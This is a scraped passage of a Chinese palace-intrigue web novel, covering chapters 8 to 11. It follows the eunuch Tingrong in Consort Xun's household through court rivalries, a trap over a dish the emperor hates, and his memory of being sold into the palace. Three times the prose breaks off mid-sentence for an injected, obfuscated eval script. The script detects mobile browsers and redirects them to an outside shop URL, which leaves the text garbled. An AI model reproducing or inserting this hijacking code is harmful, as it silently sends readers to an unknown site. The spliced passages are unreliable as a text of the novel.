晚膳前,循才人就回来了,一身粉色的宫装既有少女的明媚,又不会过于张扬,在这个时节多些颜色,颇有趣味。 “听容,恭贵妃很喜欢你做的果脯,送了我一些她宫里小厨房做的点心,那盘红豆酥饼就赏你了。”循才人心情很好,显然是在繁秀宫聊得不错。 “谢主子赏。”听容忙谢恩,这就是在主子身边伺候的好处,在吃食上能丰富些。 接过食盒,听容把赏自己的那份放好,剩下的搁托盘上,配了沏好的茶,给循才人送了过去。 快传晚膳了,循才人只拿了块鲜花饼慢慢吃:“皇上常来咱们长宁宫用膳,我总想着做道皇上喜欢的小食表表心意,却一时不知皇上喜欢什么。” 皇上的喜好不能轻易让人知道,尚膳房送膳,食材上讲究平衡,看不出什么来。能知道皇上喜好的,大概只有皇上登基前就进府的嫔妃了。 “刚才去给恭贵妃请安,遇到了良嫔,路上说着话回来,我旁敲侧击地问了她皇上的喜好,她提到皇上跟先皇一样,都喜欢煎蛎蝗。只不过先皇驾崩后,皇上怕见食伤情,许久都没有再做这道菜,渐渐地就被忽略了。”提到泰宣帝,循才人脸上布了层红,“我想着宫里用不了小厨房,但做这样的小食应该还可以。等问问尚膳房,若有好的蛎蝗,就拿一些来。” “主子待皇上真是用心。”采莺赞同她的做法,现在她家主子是皇上宠爱的人,去尚膳房拿些东西,对方不会不给。 “自我入宫,不敢说隆宠集身,可想见皇上并不难。皇上待我好,我自然也要全心全意待他才是。”循才人低头掩唇,笑得端庄又羞涩。 晚膳送来,屋里有采莺侍膳,又留了小宫女在门口随侍,听容跟着芷月和另一个宫女先去吃饭,一会儿好换班。 后妃宫里的吃食很好,主子吃不完的都会给他们,不仅菜色丰富,吃饭也不用那么赶。听容特地把赏他的红豆酥饼拿出来跟大家分享,宫里就这么几个人,没必要小气,反正都够吃。 “芷月姐姐,主子提到的那位良嫔也是进宫很久的后妃吗?”听容问。不是他多心,只是主子提到了,他就得多问一句。 “算来,良嫔进宫也有六年了,在宫里主子中算不得久的。若说老资历,只有皇后娘娘和庄贵妃娘娘算得上,她们在皇上还是王爷时,就进府了。”芷月进宫时间长,知道的事肯定多一些。 听容记下了,没再多问。 芷月最先吃完,说:“我去换采莺,你们吃完去把水烧上,今儿皇上翻得庄贵妃娘娘的牌子,主子可以早点洗漱休息了。” “好。”听容应道。 吃饱饭,主子那边用完膳没有别的吩咐,听容就拿了块红豆酥饼去烧水了。 刚把火升起来,就听外面传道:“皇上驾到!” 听容一愣,芷月才说皇上不会来,没想到就来了。他赶紧拍了拍衣裳,确定得体后跑出去跟着宫里的人一起接驾。 循才人脸上是藏不住的惊喜,给泰宣帝行过礼后,柔声问:“您怎么来了?” 泰宣帝执起她的手,两个人差了二十多岁,很难称得上和谐,不过温馨还是有的,也能在循才人脸上看到依恋的神色。 “和恭贵妃吃晚膳时,她拿了你送的果脯给朕尝,说是你怕她喝药苦口,赞你心思细。朕尝了,味道很好,总不能夺了恭贵妃的,就来你这儿讨一口了。”泰宣帝开起了玩笑,神色轻松。 “您若想吃,派人来说一声,臣妾给您送过去就是了。”循才人高兴,却也知道皇上来了应该就不会走了,那今晚就等于是她顶了庄贵妃的宠。 “东西还是其次,你的细心难得,想到此,朕就想来见见你。”泰宣帝说。 循才人扬起嘴角,皇上心里有她,比什么都要紧,她立刻吩咐:“听容,去拿些果脯。” 泰宣帝顺着循才人的目光看过去,落在听容脸上,忽而一笑:“你宫里新拨来的人长得倒是好看,让朕突然想到昱祉刚进宫的时候,特地留了个好看的小太监给他伺候酒。” 泰宣帝只是当个趣事说给循才人听,听容却觉得脊背发凉。 他猜皇上应该不知道那个小太监就是他,否则不会是现在这种语气。可这并不影响他心惊,明明不算大事,却传到了皇上耳朵里,到底是这宫里没有事能瞒过皇上,还是有人特地把严昱祉的事告知皇上,谁跟严昱祉有往来都有可能被泰宣帝知道? “谁不喜欢好看的呢?只能说严公子真性情了,没人前一个样,人后另一个样。”因为对恭贵妃印象好,循才人就帮着严昱祉说了句话。 “说得也是。”说完,泰宣帝就牵着循才人进殿内了。 听容没往泰宣帝眼前凑,把果脯装好交给了采莺。采莺看了他几眼,没说什么。 直到泰宣帝和循才人安置后,长宁宫才真正安静下来。听容提着水准备回房间洗漱,芷月也回到下人房这边。今晚采莺值夜,又有泰宣帝的侍卫和近身伺候的太监在,其他人可以早些歇息。 “姐姐怎么看上去似有愁色?”芷月没隐藏,听容看出来了也不能装作没看到。 “今儿个皇上宿在了长宁宫,把庄贵妃娘娘搁一边了,明天主子去请安,恐怕没那么好过了。”芷月叹道。就算她们的主子受宠,可位份摆在那里,不是得宠就能得罪得起贵妃的。 “是皇上要来的,又不是主子去请的。庄贵妃娘娘应该不会记到主子头上吧?”听容对后宫的门道了解太浅,只能多听多问。 芷月又叹了口气,压低了声音说:“你不知道,庄贵妃是宫里最得罪不起的。她是最早陪在皇上身边的,比皇后还早。皇上对她的感情不一样,也多纵着她。就连皇后都让她三分。” 听容又想到了那个被拖走的小太监,一个花瓶就赔上了一条命,可以说是皇权的压迫,也可以说只是得宠后妃的一念。 “主子毕竟是有位份的,应该不至于太被为难。”听容没见过庄贵妃,只能往好的地方想。 “就算不为难主子,明天跟着主子去请安的也得小心些了。”芷月看了看时辰,“不早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140926|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,早点睡吧。” 不知是因为睡前芷月提到庄贵妃,让他多思了宫中生存的不易,还是皇上宿在宫里,让他难以睡得踏实,听容做起了梦,梦到自己还在家的时候。 姜家有五个孩子,听容排第二,本名叫姜以,原本要用“乙”字,也象征他的排行,但老大并没用排序的字,村长觉得娃子长得实在好,用“乙”字过于草率,在做村民记档时,就给改成了“以”。 进宫后,公公觉得他的名字没有好的意头在里头,就给改成了“听容”。“听”是让他少说多听多看,“容”既指容貌仪态容止可观,又有希望他在宫中能有容身之处的祝福。 梦里,他在家中总有干不完的活儿,大哥要去村里的私塾读书,爹娘宠着、供着,一点活都不让他干。三弟四弟和小妹年纪还小,爹娘说他们干不了,所以家里的活都落到了听容身上。 小的时候听容不懂,只知道自己不干活会被打,只有把家里的鸡和院子里的菜地打理好,爹娘才会给他饭吃。后来大了,村长提议让他去私塾读书,爹娘怎么都不肯,即便私塾先生不收束脩,爹娘也以家里不能没有人帮忙干活为由,拒绝让他去。 那时听容才知道爹娘应该是不喜欢自己的,但他不知道为什么。村里哪怕条件再差的家里,只要男孩到了年纪,都会送去读书的。即便不是每个人都能参加科举,甚至村里连考中童生的人都凤毛麟角,但能识字也是好的,以后去镇上找活儿,能识字找到的活计也是更好些的。所以他只能加倍努力干活,照顾好弟妹,讨爹娘喜欢,希望他们能松口,让他去读书。 后来他实在太想读书了,就趁着爹娘去地里忙活,偷偷跑到私塾后窗偷听。不过很快就被先生发现了。先生没有赶他,只当没看见,他就这么跟着学了半年。 有一天他上山采蘑菇回来,那日私塾休息,先生出来散步走到山下,看到他就把他叫了过去,考了他一些教过的文章和字,他都一一答了。先生夸他聪明,不读书实在可惜了。 再后来,先生亲自到家里劝爹娘送他上学,爹娘再次拒绝,娘还撒起了泼,说都去上学,家里没人照应,地里的活又忙不过来,这是存心不希望她家好。闹得邻居们都来看,可邻居们越是指责他爹娘,他娘就闹得越凶,这事最后就不了了之了。 不过先生并没有放弃他,不仅教他躲在哪里听不容易被他大哥发现,还会在他上山采野菜不能去偷学时,找机会提前在山下等他,单独给他讲落下的学问。 先生让他一定不要放弃读书,等他四书五经都学明白了,先生会找村长商议,送他去考试,就不必通过他爹娘了。 听容没想那么远,只是越长大他越觉得自己得能赚到钱,才能过得舒坦些,或许爹娘对他的态度也会好一些。 而让他万万没想到的是,那天晚上,娘给他煮了碗加了一个鸡蛋和几片五花肉的面,这是他从未有过的待遇,还说了许多夸他的话。他以为是自己过了年,满了十七,就可以到镇上找活,爹娘终于看到了他的好,也开始对他好了。 可就是那碗面,让他睡得毫无知觉,再醒来已经在收宫人的院子里关着了。 9.第9章 采莺守了一夜,待皇上去上朝了,她才回房补觉。芷月不放心小宫女跟着循才人去请安,自己主动揽了。 循才人都要出门了,看到在门口送她的听容,说:“听容还没跟我去请过安,今天也跟着去吧,熟悉一下去皇后宫里的路,以后办事别迷了路。” 今天并不是个好时机,可循才人提起了,听容不能说今日危险,他不想去,只能应着跟上了。 皇后不住东西六宫,而是住在月坤宫,宫殿位于皇宫中轴上,端正地守着后方的六宫,气势不凡,尽显皇后的威严。 循才人到时,皇后还在梳妆,妃嫔们站在院中轻声闲聊,见她到了,齐齐地看了过来。眼中情绪复杂,昨天皇上抛下庄贵妃去了循才人那里已经是满宫皆知了,如今大家再看她的眼神,羡慕的是有,却也不乏不满和嫉妒。 “给各位姐姐请安。”循才人心里明白,主动打破僵局。院子里的这些人中,她地位不是最低的,但资历是最浅的。 她进宫并不是靠选秀,而是皇后张罗的从官员家中挑的女子,充盈后宫。当时与她一同入宫的还有两人,只不过一个得了急症没了,一个不受宠,只剩下她独占枝头。 走过来的良嫔刚想接循才人的话,庄贵妃就到了。 在听容眼里,循才人的衣服已经非常精致了,可跟庄贵妃的比,才知道什么叫华贵。大面的刺绣繁复又有气势,头上戴的不是金饰就是珍珠。细长的单凤眼,眼尾微微上扬,配上弯眉朱唇,有种画本上的古典美,就算没有这些装饰衬着,也是美的。 在侍女的搀扶下,庄贵妃走到循才人身边,循才人忙行礼问安。听容和芷月也跟着行礼。 庄贵妃斜眼打量着循才人,没有叫起,也根本不在意别人怎么想:“循才人好手段,也会做人,知道恭贵妃性子好,就巴巴地送东西去,让她给你说好话,迷了皇上去。” “娘娘,嫔妾绝无此意。” 庄贵妃嗤笑一声:“有没有的不是看嘴上怎么说,而是做了什么。恭贵妃可得快点好起来才是,不然这药喝多了,脑子都喝坏了,连别人什么心思都看不出来,白长了这些年岁。” 循才人脸上红一阵白一阵,皇上去谁宫里是不容置喙的,后妃善妒是大忌。可庄贵妃毕竟与皇上情分不同,不想表现大度,皇上也只会笑说一声“小气”罢了。 见她不说话,庄贵妃还没解气,又看了一眼循才人旁边的良嫔,嘴角一挑,说:“想当年你也得宠,只不过是被家里连累了,才落得现在这般。所以说循才人,得宠是一回事,家里别犯了大忌,惹了皇上不高兴,也很要紧。可别说本宫没提点你。” 良嫔似是习惯了,脸色未变,只是低头不语。 循才人看了良嫔一眼,带着几分同情。 听容听全了这一顿气势压人,也看到了循才人连一句像样的有利于自己的话都说不出来。书香门第大抵不会争口舌之快,可在宫里如此,总是吃亏的。 “请各位主子进殿请安。”皇后身边的姑姑出来道。 庄贵妃不再多言,率先进殿,其他人才安位份依次进门。 听容是不需要在内里伺候的,和其他跟来的小太监站在一起,即便院子里没有主子,依旧安静威严,无人敢多话,也没人敢造次。 今日他算是见识到高位嫔妃的气势了,感觉不比伺候皇上轻松。同时他也注意到跟他站在一起的这些小太监,个个低眉顺目,小心翼翼,可庄贵妃的太监就不一样,即便不说话,站在那里的姿势和神态却显得轻松随意不少。 如此看来,即便是在后妃宫里当差,其中的差距还是很大,不单是待遇,还有底气。听容再次希望循才人再得宠些,早日有个一儿半女的,位份能再升一升,今日这个情形可能会少一些。 一刻种后,皇后就让众人跪安了。庄贵妃依旧是走在最前面的,她的太监也赶紧迎上去。 庄贵妃仪态端正地走着,哪知突然就在听容面前停下了。 “这是哪个宫里的,长得这般模样?”从语气听不出她的态度。 听容精神一紧,先前庄贵妃来时,他就跟在循才人身边,不知庄贵妃是没主意到他,还是有意为之。听容往殿门看了看,循才人已经出来了,也应该听到庄贵妃的问话了,却没有帮他答话。 无法,听容只能规矩地行礼:“给贵妃娘娘请安,奴才是长宁宫的。” 明显能听出庄贵妃笑声里的调侃,不过她没难为听容,转头对循才人道:“这么快就补上了,还挑了这么个好看的。要本宫说,这么好看的人儿,你应该送去严公子那里,听说他最喜欢挑漂亮的伺候,到时你还能卖恭贵妃一个人情,让她再给你说些好话。” 循才人没答话,庄贵妃也没指望她说什么,只是心口的气还没顺,借机继续嘲讽罢了,说完就带上人走了。 回宫这一路,循才人脸色都不好,听容估计在殿里主子应该也受气了,不能在外面失态,只能憋着。 直到回了宫,循才人才红了眼眶,对着芷月和听容道:“得宠本是高兴事,可今日被这样挤兑,又没人帮我说话,我这心里真是委屈。” 芷月递上茶,让循才人喝着缓和一下情绪,并劝道:“宫里是这样的,谁得宠都会被怨怼,只不过今天发难的是庄贵妃,别人都不敢说话罢了。” “皇上要来,我总不能赶皇上走吧?”循才人满心难受。 “是,所以您放宽心,别多想。比起这些,固宠才是关键啊。”芷月继续劝。 循才人深吸了几口气:“你说的对,若我若是能升到贵嫔,成为一宫主位,境遇或许会好些。听容,你去尚膳房问问什么时候有蛎蝗,让他们给长宁宫送些。” 听容没应,而是道:“主子,有句话奴才不知当讲不当讲。” “你说。” “您说是良嫔告诉您皇上喜欢煎蛎蝗,可今早奴才听庄贵妃娘娘的意思,良嫔被家中拖累,宠爱不在了。如果她真知道皇上所好,为何不自己用?”听容条理清楚地跟她分析。 循才人眉心一皱,也有了计较。 听容继续说:“我学宫规时,教我们的师傅提醒过,不要揣测圣上饮食上的喜好,在这个皇城中,皇上喜欢吃什么是最不能让人知的。” 芷月从旁点头:“的确如此,这也是为了确保皇上的安全,避免让人在饮食上做手脚。” 听容:“您与皇上一同用膳的次数多,您想想桌这上那些菜,您可看出皇上更喜欢哪类了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148983|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是说您发现皇上喜食海鲜之类?” 循才人细细琢磨一番,说:“的确看不出什么,皇上对鱼虾之类吃得不多,倒是鸭肉、鸡肉多一些,不过也不确定。” “所以如果您端一盘煎蛎蝗给皇上,真是皇上所喜,却不为外人知的,那皇上是否会觉得您是千万百计揣摩圣意,从而认为您心思不纯?” 循才人顿时冒出一身冷汗:“是我糊涂了,在家时我总观察父亲母亲饮食上的喜好,赶上年节,孝敬些他们喜欢的。忘记了这是在皇宫,众妃讨好皇上,也都是奉上自己拿手的食物,而不是揣度皇上的喜好。” 皇上的心思所有人都会揣度,但不能拿到明面上来让人发现。 芷月忙跪下道:“是奴婢糊涂了,只想着让主子讨皇上开心,忘记了这点。幸好听容机敏,否则岂不是弄巧成拙了?” 循才人手握成拳压在心口处:“这个宫里还真是防不胜防,良嫔看着是个好相与的,若真的为我好,就会提醒我。” 芷月不能让主子陷在坏情绪里,否则主子在后宫的日子只会难过:“主子,您说自己是旁敲侧击问出来的,或许良嫔没想那么多,只是被您套出话来了。” 循才人叹了口气:“若是如此,我倒还能好受些。” 慢慢平复好情绪,循才人对听容道:“你制的果脯皇上吃着很喜欢,你一会儿去果局挑些水果,再制一些吧。皇上说宫里准备的果脯味道也不差,只不过不如咱们宫里刚制好的新鲜、清爽。” “是,奴才一会儿就去。”排除掉一个可能出现的危险,听容也松了口气。也许是他多心了,可今天在坤月宫的场景让他不得不多想几层,位高一阶压死人,不出错有的时候比出彩更安全。 那天之后,皇上没有再突然过来,期间招循才人去温华殿侍寝过一次。循才人也让听容去御前送了新制了果脯,皇上赏了循才人一支粉碧玺喜鹊步摇。循才人喜欢粉色,这步摇配她的衣服格外合适。 隔了些时日,循才人估摸着恭贵妃那里她先前送的果脯应该吃完了,这回听容又做了些用橘子汁泡过后制成的苹果果脯,循才人吃着新鲜,再去请安时,又带上了一盒。 “听容随我去就行了。”循才人连采莺都没带,只叫了听容跟着。 刚进繁秀宫,就见宫人来送新鲜的食材,供小厨房使用。 恭贵妃的身子已经好了许多,正在院子里赏花房早上送来的迎春。这些食材都要过掌事姑姑芳眉的眼,她正陪着恭贵妃,恭贵妃便跟着一起看了。 “怎么送了蛎蝗来?”芳眉皱起眉,似乎对此很是不满。 宫人立刻道:“这些鲜货不易得,快马加鞭送进宫的,请娘娘们尝尝。” 芳眉还要说什么,恭贵妃摆摆手,微笑道:“他们知道什么?都是办差的。我看这蛎蝗挺新鲜,你让小厨房做了,晚膳时给昱祉和小禾送去吧,别让皇上看到就行,否则肯定要震怒。” 循才人搭在听容手臂上的玉指骤然收紧,与听容对视了一眼。 听容反应很快,小声提醒:“先给娘娘请安要紧。” 循才人反应过来,赶紧收拾好表情。这时繁秀宫的太监也走近了,帮忙通传:“娘娘,循才人来给您请安。” 10.第10章 “给恭贵妃请安,娘娘福绥金安。” “起来吧。今日起皇后娘娘要忙着上巳节的家宴,免了各宫请安,本宫还想着姐妹们不用早起,等用了早膳应该是要走动一番的,没想到你就来了。”恭贵妃今日打扮得简单,但头上仅有的那只步摇却格外漂亮,把皇上赏给循才人的喜鹊步摇都比下去了。 “听闻娘娘身子好多了,嫔妾特地来看看。如今见娘娘脸色红润,想来是无碍了。”循才人心里有事,但面上不能急着要答案,还得循序渐进。 恭贵妃笑说:“昱祉进宫,本宫这儿每天热闹不少,心情好了,病好的就快。不过皇上怕本宫病气反复,让再静养几日,倒是显得本宫躲懒了。” 说罢,恭贵妃就移步进了殿内,并吩咐人上茶,循才人也跟了进去。 听容等在院内,没有乱看。 “你不是在御酿局当差吗?怎么去循才人宫里了?”芳眉认出了听容,主动过来跟他说话。 “姑姑好。前些日子才人宫里芷月姐姐推荐了小的,小的就被调过去了。”听容简单答道。 芳眉作为奴婢,宫里管事太监往上的职位变动多少会传到她耳朵里。只不过事不关己,芳眉也只是听了一耳朵,没往心里去。现在细想,差不多能对上。 “也好,主子宫里的待遇总是好些。”芳眉抬头看看了升起来的太阳,对他道:“你去廊下站着等吧,这会太阳开始要晒人了。” “多谢姑姑。”来自不熟的人的关怀,还是能让听容觉得暖心。 站了没多久,严昱祉就来请安了。由于循才人在,他作为外男不好进去,就准备去偏殿等着,结果眼尖地看到了听容,便走了过去。 “跟着主子来请安?”严昱祉明知顾问。 听容给他问了好,又答了是。 他心下是觉得奇怪的,他跟严昱祉并不熟,不过是给他送了次酒,严昱祉却每次见到他都会跟他说话。 “脸色好看了不少,看来在循才人宫里当差挺顺心。”严昱祉一副似笑非笑的表情,不知道是认真的还是逗他玩, “是。”听容没别的可答的,又不能冷场,严昱祉跟他说话,他不能让人觉得他不高兴,只能硬着头皮道:“这个时辰严公子不是应该在读书吗?” 严昱祉不甚在意地说:“读书我是不在行的,也跟不上殿下们的进度,特向皇上禀明,下午的骑射课不缺席就行了。” 这话将一个不学无术的公子哥形象树在了听容面前。任何夸奖好像都显得苍白,在大勉朝,说是文武并重,可实际朝堂之上还是文臣的话语权更大些。 听容接不上话,严昱祉也不觉得无趣,又说:“下次歇假你若没有别的安排,可以去皇子所找小禾。他前几日还提起你来着。” 听容心想自己跟小禾也不熟,有什么资格跑去找人家?且当是严昱祉的客套话了。 芳眉那边沏好了茶来请严昱祉去偏殿,见两个人在说话,不仅没上前,还特地等在一边。 循才人从殿里出来,就看到严昱祉在和听容说话,只不过她无暇在意这些,脸色实在难看。 严昱祉从容地向循才人请安,循才人语气虚弱的叫了免礼,就带着听容离开了。 春日风大,吹得听容的头发乱飞,也吹得循才人的斗篷下摆翻滚,如风中蝶,努力向前,却随时有被风掀翻的风险。 “主子这是怎么了?脸色这般难看。” 回到长宁宫,芷月见状立刻迎上来扶。在殿内收拾的采莺听到动静也跑了出来。听容一路跟着回来,已经猜到应该是跟蛎蝗有关,只不过循才人不开口,他不会先说。 循才人被扶着踉跄地回到殿内,采莺把晾好的茶送到她手边:“主子,您先喝口水缓一缓。” 随后,采莺横眉冷对地看向听容:“你是怎么伺候的?是又有人欺负主子了?” 听容没答,也没生气。在长宁宫这些日子,他知道采莺脾气不好,有时候说话也不好听,但只是嘴上不客气,并未做出什么来。 “不关听容的事。”循才人缓过来,才放下茶盏,说起了在繁秀宫看到送蛎蝗的事,“我问了恭贵妃娘娘,娘娘说皇上最厌恶的就是煎蛎蝗,其中的缘由涉及以故的太后,她不便细讲,让我多留心些,万不要在皇上面前端上此菜,最好连‘蛎蝗’两个字都不要提。” 采莺惊道:“那良嫔不是坑您吗?!” “是我把事想浅了,没想到她看着和顺,私下居然也是见不得我好的。”她看向听容,“幸好听容谨慎,提醒了我,让我躲过一劫。” “您就应该问问良嫔,是何居心!”采莺心里不服,同时也看了听容一眼,不服的情绪也分了两层。 芷月劝道:“这是主子私下问的良嫔,没有第三个人作证。如果良嫔借机闹起来,说自己根本没说过,就算皇上信主子所言,也会因为主子打探皇上喜好而不悦,主子得不偿失。 “再说,良嫔伴驾这么多年,自身并无错漏。倘若皇上不信主子,而信了良嫔是被冤枉或者误解的,对良嫔生出了怜悯,岂不是帮她复宠了?” 循才人红着眼眶道:“我晓得人心隔肚皮,但进宫以来日子过得也算顺遂,让我掉以轻心了。可我只想过安生日子,能时常与皇上相伴就好,从无害人之心,没想到还是遇上这般算计。” 或许是委屈,或许是恐惧,又或许是自以为的生活被打破幻象后的不能接受,循才人落下泪来,伤心了好一阵。 * 日子还要继续过,良嫔那里循才人也要装作无事发生,继续姐姐长妹妹短的。 而听容不理解的是,明知道对方有害她的心,循才人却没有任何作为,这等于是留了虎狼在身边,不是明智之举。可他只是个下人,循才人虽重用他,他的地位也没到能说这种事的程度,只能再慢慢观察了。 循才人的坐胎药还在喝,果脯也吃得越发离不得了,听容这天也照旧去果局拿苹果,再要些其他水果供主子平时吃。 快到上巳节了,长街和甬道上都人来人往的。上巳节这天,民间多会沐浴、踏青、食荠菜,文人雅士会聚于一处玩曲水流觞。而宫里除了家宴,皇上皇后也会一同去皇家寺庙祈福,所以宫中上下格外忙碌。 听容穿过宫花园,往果局方向去。 “听容。” 熟悉的声音让听容停下脚步,心里有些后悔,早知道他就从守元门那边绕了,肯定遇不上严昱祉。 听容转身行要行礼,严昱祉摆摆手,示意他免了。 “遇到你正好,我正有事想问你。”严昱祉走近了。 经过的宫女太监贴着墙根走,有些胆子大的宫女会抬头看一眼严昱祉,然后快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156965|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速低下头走开。 今天严昱祉终于不是一身黑了,而是穿了身蓼蓝的衣裳,看绣工应该是恭贵妃吩咐人做的,绣的还是竹叶,与严昱祉的气质有种说不出的不相符,不过颜色倒是让他显得没那么严肃了。腰间的荷包和玉佩更是让这身衣裳多了些繁复感。 “循才人送给姑母的果脯味道极好,说是长宁宫自己做的?”严昱祉问。 “是。” “是你做的吧?”严昱祉问得很肯定。 “严公子如何知道是我做的?”听容好奇于他的笃定,不自觉地抬眼看向他。 “若循才人之前就有这些,应该早就拿给姑母了。近段时日才送,还是在你去之后,我猜是这样。”严昱祉解释得很有耐心。 “是。”听容没什么可否认的,又不是什么大事。 严昱祉:“若不麻烦的话,能不能请你多做些?前几天循才人送去的那盒,姑母赏了小禾几块,小禾很喜欢。我想着再要一些。” “倒是不麻烦,只不过东西从长宁宫送到皇子所,若被有心人拿来做文章,伤的是主子的清誉。”听容说出顾虑。 若是给某位皇子的倒还好说,给严昱祉的就容易被人扣个私相授受的大帽子,尤其循才人年纪轻,与严昱祉有接触的事就更得谨慎了。 “我明白,肯定不让你主子为难。我会跟姑母说,由姑母跟循才人提,果子也从繁秀宫的份例里出,到时候再由姑母宫里给我,就没有人会说什么了。”严昱祉看似不拘小节,其实方方面面都想到了。 “如此甚好。”听容想着循才人不会主动出击灭掉威胁,那如果能有个靠山也是好的,恭贵妃或许是个不错的选择,至少位份在那儿摆着。否则主子风雨飘摇,他们做下人的只会危险更甚。 “严公子对手下人真好。”听容真心赞道。 严昱祉并不觉得他是在拍马屁,浅笑说:“小禾从小跟着我,学得没个拘束,左右是不敢把他单独送出去了,给他些好吃的,他才能待得住。” 不远处,采莺也走到这边,她要去花房挑几只鲜花插瓶,没想到看到了听容正在跟一位背对着她的男子说话。 这本不是什么要紧事,可这个时间能出入后宫的陌生男子,采莺只需略想,就猜出对方是严昱祉。她之前在宫道上看到过严昱祉两次,无论是气质还是样貌,都是她见过最拔尖的那一类。现下遇到,对方还在跟听容说话,她几乎是毫不犹豫地走上前去请安。 来了旁人,严昱祉没再多说,就离开了。 采莺表情有藏不住的失望,但还是积极地问听容,严昱祉跟他聊什么。 听容应付着说是问了果脯的事。采莺有兴趣的点明显不在这儿,又问起严昱祉怎么知道他是长宁宫的,还叫了他说话。听容说是之前跟循才人去请安见过,给敷衍了过去。 不过那天之后,采莺有意无意地就不让听容到循才人面前伺候了。听容端茶送水,或者要把尚膳房送来的菜拿进去,都会被采莺半路拦下。 这天,恭贵妃主动差人请循才人去说话,因为之前的事,循才人下意识地想叫听容跟她去,结果被采莺拦下了。 “还是奴婢陪您去吧,听容这几日忙着给宫里的花坛填土,身上脏兮兮的,不宜陪您出门。”采莺道。 循才人没有多想,就带着采莺一道去了。 11.第11章 从繁秀宫回来,采莺的脸色特别难看。因为她是循才人的陪嫁,循才人不说话,别人不会多话,否则就她这样沉着脸伺候主子,肯定是要被罚的。 采莺推脱身上不舒服,向循才人告了罪,循才人让她去休息,叫了芷月进来伺候,随后又把听容叫了进去,跟他说了恭贵妃要做一些果脯给严昱祉的事,晚一点繁秀宫的人会送苹果过来。 听容早知道了,一一应着,没有多问。 倒是芷月不解又担心地问:“采莺姑娘这是怎么了?难道主子在恭贵妃那儿受气了?” 芷月的疑惑在于恭贵妃并不是跋扈的人,请了循才人过去,不过是为了果脯的事,没必要为难才是。 循才人微微叹气,说:“是她心大了,我之前竟没注意到。” “主子此话怎讲?”芷月继续问。 “她知道这批果脯是制给严公子的,就主动向恭贵妃提出等制好了,由她送到严公子那儿。”说到这儿,循才人转头看向听容,“恭贵妃说让我这儿的小太监去送就行,进出方便。采莺说听容粗手笨脚,万一摔了东西,辜负了恭贵妃对严公子的疼爱,还是她去送妥帖些。” 芷月听出了其中的意味,抿了抿嘴唇,没有接话。 听容没什么想法,只是听着,认为这种差事主子安排谁去谁就去好了,又不是什么得大封赏的事,值得往前争。 循才人的表情复杂起来,似乎也不知道如何处理,只继续说:“结果恭贵妃没客气,直接说她不喜欢宫女往严公子身边凑,既然是在后宫伺候的,就安分地做好自己的事,不要有无谓的妄想,再传出私相授受的话来,损的还是女子的名声。采莺脸上挂不住了,没敢再说话,一路回来脸色就不好。” 芷月比听容看得明白,可话不能说得太直白,难免伤了循才人的脸面:“以您现在的受宠程度,哪怕没有孩子,封个嫔、贵嫔也是指日可待。采莺姑娘作为您的陪嫁,日后由您给配个好姻缘,不是难事。 “奴婢私下里听各宫宫女们闲聊,提起严公子无不倾慕。不提严公子的人品、学识,就他的身份,纳个宫中娘娘身边的大宫女作通房或者侍妾,也是绰绰有余的。况且严公子相貌堂堂,的确是难得的美男子,采莺姑娘若有此心,实属正常。” 听容就像在听什么宫中秘闻,没想到严昱祉在宫女中居然这样受欢迎。 “我明白。”循才人眉头依旧未展,“若等着满二十五出宫嫁人,的确难觅良缘。极少数能被皇上收用的,那也得皇上有意才行。大多还是主子留意着,过了二十给指一门婚事是最好的。只不过严公子那样的,是想都不必想了,看恭贵妃的态度是早有考量,采莺这心大的不是地方。” “采莺姑娘不过才十八,对倾慕之人有些想法,忘记了身份差距很正常。想必时间长了,就能想明白了。”芷月也是从采莺这个年纪过来的,总能替采莺说几句。 听容插不上话,婚嫁之类的对他来说太遥远,别说他了,就连他大哥也因为家里贫寒,二十的年纪了也没有媒人上门给说亲。而他现在落到这般地步,以后也没有成亲的可能了,更不必多此一想。 可能是觉得没有脸面,采莺硬是称病在房间里待了两天才重新回循才人身边伺候。而这两天时间,听容的果脯也制好了,装了满满一大盒子,送往恭贵妃宫里。 明日就是上巳节了,皇上皇后一早就要出宫祈福,这会儿宫里的仪仗都准备完毕,侍卫日夜戍守,确保这些不会被动手脚,让明日的祈福一切顺利。这使得宫人们在路过附近时都低着头不敢乱看,生怕被误认为图谋不轨。 进了繁秀宫,芳眉没让他拜见恭贵妃,而是自己检查了果脯,确认无误,便道:“行了,你给公子送致书堂去吧。顺便帮着拿些荠菜笋丁的青团过去,是小厨房刚做出来的。” “我?”听容以为他把东西送到繁秀宫就算了事了,没想到还要帮着去送。不过也不是什么大事,东西过了芳眉姑姑的目,别人就挑不出什么来了。 芳眉微笑道:“公子说若是你来送,就叫你多跑一趟。反正你之前去过致书堂,路熟悉,不至于出错。” 